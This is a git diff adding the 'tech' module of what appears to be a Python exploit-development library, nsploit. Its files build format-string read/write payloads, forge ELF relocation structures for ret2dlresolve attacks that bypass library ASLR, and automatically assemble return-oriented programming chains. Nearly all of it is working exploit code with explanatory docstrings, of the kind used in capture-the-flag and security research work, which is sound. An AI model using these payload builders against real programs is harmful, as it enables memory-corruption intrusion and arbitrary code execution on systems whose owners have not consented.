diff options
Diffstat (limited to 'nsploit/tech')
| -rw-r--r-- | nsploit/tech/__init__.py | 4 | ||||
| -rw-r--r-- | nsploit/tech/fmtstring.py | 178 | ||||
| -rw-r--r-- | nsploit/tech/gadhint.py | 98 | ||||
| -rw-r--r-- | nsploit/tech/ret2dlresolve.py | 226 | ||||
| -rw-r--r-- | nsploit/tech/rop.py | 364 |
5 files changed, 870 insertions, 0 deletions
diff --git a/nsploit/tech/__init__.py b/nsploit/tech/__init__.py new file mode 100644 index 0000000..a517e7f --- /dev/null +++ b/nsploit/tech/__init__.py @@ -0,0 +1,4 @@ +from .fmtstring import * +from .gadhint import * +from .ret2dlresolve import * +from .rop import * diff --git a/nsploit/tech/fmtstring.py b/nsploit/tech/fmtstring.py new file mode 100644 index 0000000..6ac74c5 --- /dev/null +++ b/nsploit/tech/fmtstring.py @@ -0,0 +1,178 @@ +""" +Exploit C-style format string vulnerabilities + +These techniques leverage functions such as printf, fprintf, sprintf, etc. when +run on unchecked user input to perform arbitrary memory read or write. This is +made possible by the unintended use of user input as the function's format +string argument, instead of an ordinary data argument. Attackers may inject +their own conversion specifiers, which act as operating instructions to the +function. Interesting formatters include: + + %p Read argument value. These are the values of function argument + registers and values from the stack. The value is printed as + hexadecimal (with leading "0x") and interprets values as unsigned + long (aka, same size as arch.wordsize). + + %s Read memory as asciiz string. Prints the data pointed to by + argument value. + + %c Read argument as 8-bit character, printing the interpreted character + value. This formatter is useful in combination with a field width + specifier in order to print a controlled number of bytes to the + output, which is meaningful to the next formatter. + + %n Write memory as integer. Prints no output, but writes the number of + characters printed so far to the location pointed to by the argument + pointer. A length modifier will control the bit-width of the + integer written. + +See `man 3 printf` for more details. +""" + +from nsploit.arch import arch, btoi, itob +from nsploit.types.payload import Payload +from nsploit.types.payload_entry import padalign, padrel + +_FMTSTR_MAGIC = b"\xcd" + +def _make_fmtstr_payload(): + # A typical layout will look like this: + # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe' + # ^ ^ ^ ^ ^ ^ + # fmt[0] fmt[1] nul | addrs[0] addrs[1] + # align + # + # Many examples found online will demo placing addresses at the front. Eg: + # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00' + # This has the benefit that %n positional values are simple to calculate + # (they just start at the payload position and increase by one). However, + # any NULL bytes in the addresses break the exploit, since printf will stop + # processing its string once a NULL is encountered. + # + # Moving addresses to the end mitigates this. Wordsize alignment is then + # necessary to give for valid argument positions. We also intentionally + # NULL terminate the format string portion of the payload to prevent printf + # from processing beyond formatters. + fp = Payload() + fp.fmt = Payload() + fp.null = b"\x00" + fp.align = padalign(arch.wordsize) + fp.addrs = Payload() + return fp + +def _fixup_positionals(fp, position, offset=None): + if offset is None: + offset = fp.addrs.base // arch.wordsize + + fixup = _make_fmtstr_payload() + fixup.addrs = fp.addrs + + for i, fmt in enumerate(fp.fmt): + pos = position + offset + i + fixup.fmt(fmt.decode().format(pos).encode()) + + # String formatting positional values may grow the format string so much + # as to cause the addrs offset to shift. Detect this and correct. + check = fixup.addrs.base // arch.wordsize + if offset != check: + return _fixup_positionals(fp, position, check) + + return fixup + +def fmtstr_dump(start=None, end=None): + """ + Return a format string payload which dumps annotated argument values. + + start (int): Starting argument position (default: 1) + end (int): Ending argument position (default: start + 20) + """ + if start is None: start = 1 + if end is None: end = start + 19 # inclusive, so 20 total arguments + + fp = Payload() + fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC) + fp.fmt = Payload() + fp.null = b"\x00" + + for pos in range(start, end+1): + if pos < len(arch.funcargs): + label = arch.funcargs[pos] + else: + offset = (pos - len(arch.funcargs)) * arch.wordsize + label = f"stack+{hex(offset)}" + + fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode()) + + return fp + +def fmtstr_get(*positions, join=" "): + """ + Return a format string payload which prints specific argument values. + + positions (*int): Argument positions + join (str): Delimiter string + """ + fp = Payload() + fp.fmt = Payload() + fp.null = join + + for p in positions: + fp.fmt(f"{join}%{p}$p".encode()) + + return fp + +def fmtstr_read(position, address): + """ + Return a format string payload which reads data (as string, via %s). + + position (int): printf positional offset of payload on stack. + address (int): Address of data to read. + """ + fp = _make_fmtstr_payload() + fp.fmt(b"%{}$s") + fp.addrs(address) + return _fixup_positionals(fp, position) + +def fmtstr_write(position, _data, _value=None): + """ + Return a format string payload which writes data. + + One option for calling this function is to give a write destination in _data + as an integer, and the value to write in _value. + + Alternatively, _data may contain a dictionary, with write destinations as + keys and contents to write as values. _value is ignored in this case. + + In either case, the contents to write is generally expected to be bytes. + However, integers are converted automatically via itob(). + + position (int): printf positional offset of payload on stack. + _data (int|dict{int:bytes}): Write data (see above) + _value (int|bytes): Write value (see above) + """ + # Convert from 2-argument style to dictionary. + if type(_data) is int: + _data = { _data: _value } + + pairs = {} + + # Collect each 2-byte word to write. + for addr, value in _data.items(): + value = itob(value) if type(value) is int else bytes(value) + words = [ value[i:i+2] for i in range(0, len(value), 2) ] + words = { addr+(i*2): btoi(w) for i, w in enumerate(words) } + pairs.update(words) + + fp = _make_fmtstr_payload() + prev = 0 + + # Craft writes. + for addr, word in sorted(pairs.items(), key=lambda x: x[1]): + diff = word - prev + prev = word + + size = "" if diff == 0 else f"%{diff}c" + fp.fmt(f"{size}%{{}}$hn".encode()) + fp.addrs(addr) + + return _fixup_positionals(fp, position) diff --git a/nsploit/tech/gadhint.py b/nsploit/tech/gadhint.py new file mode 100644 index 0000000..1918a79 --- /dev/null +++ b/nsploit/tech/gadhint.py @@ -0,0 +1,98 @@ +import copy +from dataclasses import dataclass, field + +from nsploit.rev.gadget import Gadget +from nsploit.types.index_entry import IndexEntry + +@dataclass +class GadHint(IndexEntry): + """ + User-annotated gadget description object + + base (Gadget|int): The gadget being annotated. May be a Gadget object or + an offset as an int. + + pops (list[str]): The registers popped by this gadget, in order of + occurrence. + + movs (dict{str:str}): The register-to-register moves made by this gadget. + Keys are destination register names, values are source register names. The + order given is insignificant. + + imms (dict{str:int}): The immediate-to-register loads made by this gadget. + Keys are destination register names, values are immediate values. The order + given is insignificant. + + writes (dict{str:str}): The register-to-memory stores made by this gadget. + Keys are the destination register names (which hold memory addresses), + values are source register names (which hold values to-be-stored). The + order given is insignificant. + + requirements (dict{str:int}): The register state that is required before + this gadget should be executed. Keys are register names, values are the + required register values. + + stack (list[int]): A list of words to append to the stack following this + gadget. The first element given is nearest to the top of the stack and the + rest follow in order. + + align (bool): If True, this gadget expects the stack to be aligned prior + to entry. + + syscall (bool): If True, this gadget contains a syscall instruction. + + spm (int): "Stack pointer move" - The amount the stack pointer is adjusted + by this gadget. The effect of executing a terminating "return" instruction + should not be accounted for. A value of zero is taken as "unspecified". + """ + + base: int = 0 + pops: list = field(default_factory=list) + movs: dict = field(default_factory=dict) + imms: dict = field(default_factory=dict) + writes: dict = field(default_factory=dict) + requirements: dict = field(default_factory=dict) + stack: list = field(default_factory=list) + align: bool = False + syscall: bool = False + spm: int = 0 + + @property + def offset(self): + """Return gadget offset as an integer.""" + return int(self.base) + + def with_requirements(self, reqs): + """Return new object with additional requirements.""" + for k, v in reqs.items(): + if self.requirements.get(k, v) != v: + raise ValueError( + f"GadHint: Conflicting gadget requirements: " + f"{self.requirements}, {reqs}") + + new = copy.deepcopy(self) + new.requirements |= reqs + return new + + def __repr__(self): + """Return human-readable GadHint.""" + def fmt(name, prop): + if len(prop) > 0: + return f", {name}={prop}" + return "" + + s = hex(self.base) + s = f"Gadget({s})" if isinstance(self.base, Gadget) else s + s += fmt("pops", self.pops) + s += fmt("movs", self.movs) + s += fmt("imms", self.imms) + s += fmt("writes", self.writes) + s += fmt("requirements", self.requirements) + s += fmt("stack", self.stack) + if self.align: + s += ", align" + if self.syscall: + s += ", syscall" + if self.spm > 0: + s += f", spm={self.spm}" + return f"GadHint({s})" diff --git a/nsploit/tech/ret2dlresolve.py b/nsploit/tech/ret2dlresolve.py new file mode 100644 index 0000000..4e9aff4 --- /dev/null +++ b/nsploit/tech/ret2dlresolve.py @@ -0,0 +1,226 @@ +""" +Perform "Return to dlresolve" dynamic linker attack + +The ret2dlresolve technique is useful to defeat library ASLR against targets +with partial relro (or less) and where no useable data leaks are available. +This is specifically a workaround for ASLR of libraries such as libc, and +addresses within the target executable are expected to be known (non-pic or +otherwise). + +When a dynamic library call is performed normally, applications jump to code +stubs in the .plt section to perform the actual relocation. This process relies +on a couple of meta-data structures in the ELF object: + +Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to +cache the real subroutine address for later calls, as well as an info field +describing the relocation. This info field contains a type subfield and an +index into the ELF's symbol table for the symbol to be relocated. + +Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the +exploit, only the symbol name field is utilized (the others are set to zeroes). +The name field is an offset into the ELF's string table, and the actual symbol +name string can be found at this offset. + +All of the data tables mentioned above are located by their corresponding +section in the ELF. The relocation process however does not perform any bounds +checks to ensure the runtime data structures actually come from these sections. +By forging custom structures, and ensuring they can be written into memory at +precise locations, an attacker can trick the resolver to link any library +function they desire by setting up the equivalent PLT function call via ROP. + +Read on for more background details: +http://phrack.org/issues/58/4.html +https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 + +Structure definitions from your standard elf.h header: + +typedef struct { + Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ + Elf32_Addr st_value; /* 4b Symbol value */ + Elf32_Word st_size; /* 4b Symbol size */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf32_Section st_shndx; /* 2b Section index */ +} Elf32_Sym; + +typedef struct { + Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf64_Section st_shndx; /* 2b Section index */ + Elf64_Addr st_value; /* 8b Symbol value */ + Elf64_Xword st_size; /* 8b Symbol size */ +} Elf64_Sym; + +typedef struct { + Elf32_Addr r_offset; /* 4b Address */ + Elf32_Word r_info; /* 4b Relocation type and symbol index */ +} Elf32_Rel; + +typedef struct { + Elf64_Addr r_offset; /* 8b Address */ + Elf64_Xword r_info; /* 8b Relocation type and symbol index */ +} Elf64_Rel; + +Elf32_Rel.r_info = 0xAAAAAABB + | | + | type + symidx + +Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB + | | + symidx type +""" + +from nsploit.arch import arch, itob +from nsploit.rev.r2 import run_cmd +from nsploit.tech.gadhint import GadHint +from nsploit.tech.rop import ROP +from nsploit.types.payload import Payload +from nsploit.types.payload_entry import padalign, padlen, pointer + +_JMP_SLOT = 0x07 + +def _symsize(): + # Size of Elf*_Sym, used for padding and indexing + if arch.wordsize == 4: return 16 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _relsize(): + # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) + if arch.wordsize == 4: return 1 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _infoshift(): + # Partition subfields of Elf*_Rel.r_info + if arch.wordsize == 4: return 8 + elif arch.wordsize == 8: return 32 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +class Ret2dlresolve(ROP): + # Use constructor from ROP class + + def reloc(self, symbol_name): + """ + Generate relocation structures for the function with given symbol name. + + The returned data structures are packed into a single Payload object. + This payload must be written into the target's memory before attempting + to use it with Ret2dlresolve.call(). Furthermore, the chosen write + location must be assigned to the payload base property, so that internal + pointers may take on the appropriate values. + + See Ret2dlresolve.determine_address() for advice on choosing a write + location. + + symbol_name (str): Name of library function to link + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + strtab = binary.sym.sect['.dynstr'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + # Elf*_Rel.r_info + info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT + + # The sym structure is the most picky about its location in memory. So + # it is listed first in the main dlres struct, which can be placed at + # the desired location. + sym = Payload() + sym.name = pointer("symbol_string", lambda x: x - strtab) + sym.pad = padlen(_symsize(), b"\x00") + sym.symbol_string = symbol_name + + dlres = Payload() + dlres.symalign = padalign(_symsize(), reference=symtab) + dlres.sym = sym + dlres.relalign = padalign(_relsize(), reference=jmprel) + dlres.offset = pointer() + dlres.info = pointer("sym", info) + return dlres + + def determine_address(self, start=None, end=None, n=0): + """ + Determine recommended address for relocation structures. + + There are a couple considerations to make when determining the memory + locations. First of all, the location must be writable. More + importantly, since most items are referred to by an array index, the + structures themselves must be properly aligned, reference to the array + origins. + + The payload returned from Ret2dlresolve.reloc() has some of these + alignments built in, but one crucial one is not. The index implied by + Elf*_Sym's offset from the symtab base is the same index used to lookup + symbol version information, reference to versym. The data at this index + must constitute a valid version half-word (16-bits). This function + attempts to ensure that the coincident version info for any returned + value is the data \x00\x00. Getting this wrong can cause the dlresolve + routine to crash. + + start (int): Minimum address to recommend (default: .bss section address) + end (int): Maximum address to recommend (default: end of memory page) + n (int): Return the Nth useable address within the defined range + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + versym = binary.sym.sect['.gnu.version'] + bss = binary.sym.sect['.bss'] + + if start is None: start = bss + if end is None: end = (start & ~0xfff) + 0x1000 + + zero_words = run_cmd(binary.path, "/x 0000") + zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] + + # Size of version entry is always 2 bytes. + veroff = [ x - versym for x in zero_words ] + idx = [ x//2 for x in veroff if x%2 == 0 ] + symoff = [ x * _symsize() for x in idx ] + addr = [ x + symtab for x in symoff ] + addr = [ x for x in addr if start <= x < end ] + + if len(addr) > n: + return addr[n] + + raise AssertionError("Ret2dlresolve: No suitable memory location") + + # Overrides ROP.call() + def call(self, reloc, *params): + """ + Return a ROP payload to call function via dynamic linker. + + reloc's base address must be set appropriately. + + reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() + *params (int): Remaining positional args are passed to function. + """ + binary = self.objects[0] + plt = binary.sym.sect['.plt'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + register_params = dict(zip(arch.funcargs, params)) + stack_params = params[len(register_params):] + index = int(reloc.offset - jmprel) // _relsize() + + reqs = GadHint(requirements=register_params) + call = GadHint(index, stack=stack_params) + ret = GadHint(self.search_gadget(arch.ret)) + + chain = Payload() + try: chain.requirements = self.gadget(reqs).requirements + except KeyError: pass + chain.alignment = padalign(0, itob(ret)) + chain.plt = plt + chain.call = self.gadget(call) + return chain diff --git a/nsploit/tech/rop.py b/nsploit/tech/rop.py new file mode 100644 index 0000000..a2c348e --- /dev/null +++ b/nsploit/tech/rop.py @@ -0,0 +1,364 @@ +from graphlib import TopologicalSorter + +from nsploit.arch import arch, btoi, itob +from nsploit.tech.gadhint import GadHint +from nsploit.types.payload import Payload +from nsploit.types.payload_entry import padalign, padlen + +_POP_MAGIC = 0xdead +_SPM_MAGIC = b"\x69" +_ERROR_MAGIC = 0xbaadc0de + +class ROP: + """ + ROP chain generation tool + + This class contains methods for automating basic return-oriented programming + workloads, such as loading register values and calling into arbitrary + functions or syscalls. The tools are currently designed to work on x86 + (32 or 64 bit) and ARM (32 bit only). + + The main appeal of the ROP class is the ability to abstract away the manual + construction of ROP chain data, and instead make declarative statements + like "call this function with these arguments". The ROP class will also + utilize its supplied binary objects to automatically find and use trivial + gadgets. + + The user is able to provide annotations for more complicated gadgets, which + help instruct the class how to incorporate them into a ROP chain. This is + done with the GadHint dataclass. GadHint objects are provided to a ROP + instance by including them in the Symtbl of one of the binary objects it is + constructed with. If applicable, a user-supplied gadget will take + precedence over automatic gadget searching. See the GadHint module to learn + more about the descriptive attributes that are supported. + + objects (list[ELF]): The binary objects this ROP instance will consider for + gadget searching. If one of these is the target executable binary, it + should appear first in the list. + + safe_syscalls (bool): If True, require that automatically found syscall + instructions are immediately followed by a return instruction. + + align_calls (bool): If True, ensure that the stack return address into + function calls is aligned according to the architecture alignment property. + + clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop" + stack data that is leftover from a function call. Required if attempting + to make multiple calls that involve stack-based arguments. + """ + + def __init__(self, *objects, safe_syscalls=True, align_calls=True, + clean_stack=True): + """Construct new ROP builder.""" + self.objects = objects + self.safe_syscalls = safe_syscalls + self.align_calls = align_calls + self.clean_stack = clean_stack + + def search_gadgets(self, *regexes, cont=False): + """Return a list of matching gadgets, considering all objects.""" + results = [] + for obj in self.objects: + results += obj.gadgets(*regexes, cont=cont) + return results + + def search_gadget(self, *regexes): + """Return the first matching gadget, considering all objects.""" + for obj in self.objects: + try: + return obj.gadget(*regexes) + except: + pass + raise LookupError( + f"ROP: Need to define gadget symbol for {'; '.join(regexes)}") + + def gadget(self, gadget): + """ + Return a generic ROP payload. + + gadget (GadHint): Annotated gadget to prepare a chain from. + """ + return self.__build_chain(gadget, {}) + + def assign(self, **sets): + """ + Return a ROP payload to control given registers. + + **sets (str:int): Keyword arguments specify register assignments to + perform with this ROP chain. Argument names correspond to register + names. + """ + return self.gadget(GadHint(requirements=sets)) + + def call(self, func, *params): + """ + Return a ROP payload to call function. + + func (int): Entry address of function to call. + *params (int): Remaining positional args are passed to func. + """ + register_params = dict(zip(arch.funcargs, params)) + stack_params = params[len(register_params):] + gadget = GadHint(func, requirements=register_params, stack=stack_params, + align=self.align_calls) + return self.gadget(gadget) + + def syscall(self, *params): + """ + Return a ROP payload to call kernel. + + *params (int): The first argument is the syscall number. Remaining + positional arguments are passed to the syscall. + """ + if len(params) > len(arch.kernargs): + raise TypeError("ROP: Too many arguments passed to syscall. " + f"Target architecture supports up to {len(arch.kernargs)-1}.") + + register_params = dict(zip(arch.kernargs, params)) + sc = self.__get_gadget("syscall", {}) + return self.gadget(sc.with_requirements(register_params)) + + def memcpy(self, dst, src): + """ + Return a ROP payload to write data into memory. + + dst (int): The destination memory address. + src (bytes): The content to write. + """ + data = Payload() + for idx in range(0, len(src), arch.wordsize): + word = btoi(src[idx:idx+arch.wordsize]) + data(self.gadget(self.__get_write(dst+idx, word))) + return data + + def __get_hints(self): + """Return all user-supplied gadget hints.""" + return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint] + + def __discover_requirements(self, seen, graph, current): + """ + Populate gadget dependency graph. + + This function recursively looks up gadgets to ensure all necessary + required gadgets can be found, and stores this information into the + given graph object. Established dependencies encode the order that the + chain builder should attempt to satisfy register requirements. + Dependency loops are detected by the TopologicalSorter. + + seen (set): Set of (register,value) tuples we have already discovered. + graph (TopologicalSorter): Dependency graph model object. + current (GadHint): Current gadget we are processing. + """ + for r, v in current.requirements.items(): + # We key on register name _and_ value because some gadgets may + # only be capable of storing specific values in a target register. + # Requiring a register to store different values may require the + # use of multiple gadgets. + if (r, v) not in seen: + gadget = self.__get_gadget(r, current.requirements) + + # Add gadget's requirements to the dependency graph. + # We say that each requirement is a 'successor' to this + # current gadget 'r', so that the chain builder will satisfy + # 'r' first. This prevents the fulfillment of 'r' from + # clobbering targets it requires, as the builder will satisfy + # them afterward. + for x in gadget.requirements: + graph.add(x, r) + + # Treat gadget's load immediates as pseudo-requirements for + # the sake of target ordering, following the same logic + # as above. + for x in gadget.imms: + graph.add(x, r) + + # Mark node as visited + seen.add((r, v)) + self.__discover_requirements(seen, graph, gadget) + + def __get_gadget(self, target, sets): + """ + Get context-specific gadget. + + target (str): Either "ret", "syscall", or the name of a register we + would like to modify. + + sets (dict{str:int}): The set of other register requirements we are + trying to fulfill in parallel. Values may affect the gadget we decide + to use. + """ + # First, consider user-provided hints before automatically locating + # gadgets. + for hint in self.__get_hints(): + # Setup additional requirements based on hint's register moves. + # If a mov target is in sets, require to set the src to the 'sets' + # value. + addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets } + hint = hint.with_requirements(addl_reqs) + + # Pops will be accounted for by the chain builder. + # Immediates will be handled by gadget ordering in chain builder. + # Writes are a non-issue here. + + if hint.syscall: + # Only consider syscalls if the target is syscall. + if target == "syscall": + return hint + elif target in hint.imms: + if hint.imms[target] == sets[target]: + return hint + elif target in hint.pops: + return hint + elif target in hint.movs: + return hint + + # Automatically locate simple gadgets + if target == "ret": + return GadHint(self.search_gadget(arch.ret)) + + if target == "syscall": + insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall] + return GadHint(self.search_gadget(*insns), syscall=True) + + # target == register + insns = [ i.format(target) for i in arch.popgad ] + return GadHint(self.search_gadget(*insns), pops=[target]) + + def __get_clean(self, size): + """ + Get a stack cleaning gadget that moves sp by _at least_ size. + + size (int): Minimum stack pointer move. + """ + # spm values of zero (the default) can't be trusted, as in this case + # the user likely hasn't annotated the GadHint properly. Returning a + # larger move than requested is fine, since the chain builder can insert + # junk to be popped. + for hint in self.__get_hints(): + if hint.spm >= size and hint.spm > 0: + return hint + + results = self.search_gadgets(*arch.cleangad) + table = { int(g.asm[0].group(1), 0): g for g in results } + sizes = sorted([ x for x in table.keys() if x >= size ]) + + if len(sizes) > 0: + return GadHint(table[sizes[0]], spm=sizes[0]) + + raise LookupError( + f"ROP: Need to define a stack move gadget of at least {size}") + + def __get_write(self, dst, src): + """ + Get a memory write gadget, injected with requirements for user data. + + dst (int): The intended memory write location. + src (int): The intended value to write. + """ + # If any exist, take the first write provided by user hints, assuming + # the user's intent to specifically use _this_ write. Follow-on gadgets + # to setup the dst and src registers must be findable. + for hint in self.__get_hints(): + if hint.writes: + d, s = list(hint.writes.items())[0] + return hint.with_requirements({d:dst, s:src}) + + # Only take an automatic write gadget if we can prove up front that its + # requirements can be met, otherwise move on. A later search result may + # pass the test. + results = self.search_gadgets(*arch.writegad) + + for gad in results: + d = gad.asm[0].group("dst") + s = gad.asm[0].group("src") + + try: + # Assert requirements are met. + gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src}) + self.__discover_requirements(set(), TopologicalSorter(), gadget) + return gadget + except: + pass + + raise LookupError("ROP: Need to define gadgets for memory write / deps") + + def __build_chain(self, gadget, sets): + """ + Generate ROP chain data for a given gadget. + + This function recursively builds a ROP chain for the given gadget and + its requirements, returning the result as a Payload. + + gadget (GadHint): Current gadget to process. + + sets (dict{str:int}): The set of other register requirements we are + trying to fulfill in parallel. + """ + # Form a to-do-list of registers from our immediate requirements, + # attempting to order them such that we avoid overwriting/conflicting + # values. This may not be possible, in which case graph.static_order() + # will raise an exception. + reqs = gadget.requirements + graph = TopologicalSorter({ r:set() for r in reqs }) + self.__discover_requirements(set(), graph, gadget) + to_do_list = [ x for x in graph.static_order() if x in reqs ] + + chain = Payload() + + # Start chain by satisfying to-do-list requirements. + if len(to_do_list) > 0: + chain.requirements = Payload() + + while len(to_do_list) > 0: + r = to_do_list[0] + g = self.__get_gadget(r, reqs) + c = self.__build_chain(g, reqs) + chain.requirements[f"{r}_{reqs[r]}"] = c + + # This gadget may satisfy multiple items in the to-do-list. + # Specifically, all of its pop and mov targets, and any load + # immediates that match our requirements. Non-matching + # immediates will be handled by a later gadget. + imms = g.imms.keys() & reqs.keys() + imms = [ x for x in imms if g.imms[x] == reqs[x] ] + done = g.pops + list(g.movs) + imms + to_do_list = [ x for x in to_do_list if x not in done ] + + # Append chain data to execute this gadget, but respect offset == 0 + # as a way to disable this gadget (perform a NULL gadget). + if gadget.offset != 0: + # Stack alignment if required. + if gadget.align: + ret = self.__get_gadget("ret", {}) + chain.alignment = padalign(0, itob(ret)) + + # "Return address" entry into this gadget. + chain.gadget = gadget.offset + + # The gadget's "inner stack data" will be values to be popped and + # additional junk data to be deallocated by the gadget itself. + if gadget.pops or gadget.spm > 0: + chain.inner = Payload() + chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ]) + if gadget.spm > 0: + chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC) + + # The gadget's "outer stack data" will be the additional values + # explicitly specified by the gadget. Append a separate gadget + # to clean up these values. + if gadget.stack: + size = len(gadget.stack) * arch.wordsize + + if self.clean_stack: + clean = self.__get_clean(size) + chain.cleanup = clean.offset + pad = padlen(clean.spm, _SPM_MAGIC) + else: + chain.cleanup = _ERROR_MAGIC + pad = None + + chain.outer = Payload() + chain.outer(*gadget.stack) + if pad: chain.outer.pad = pad + + return chain |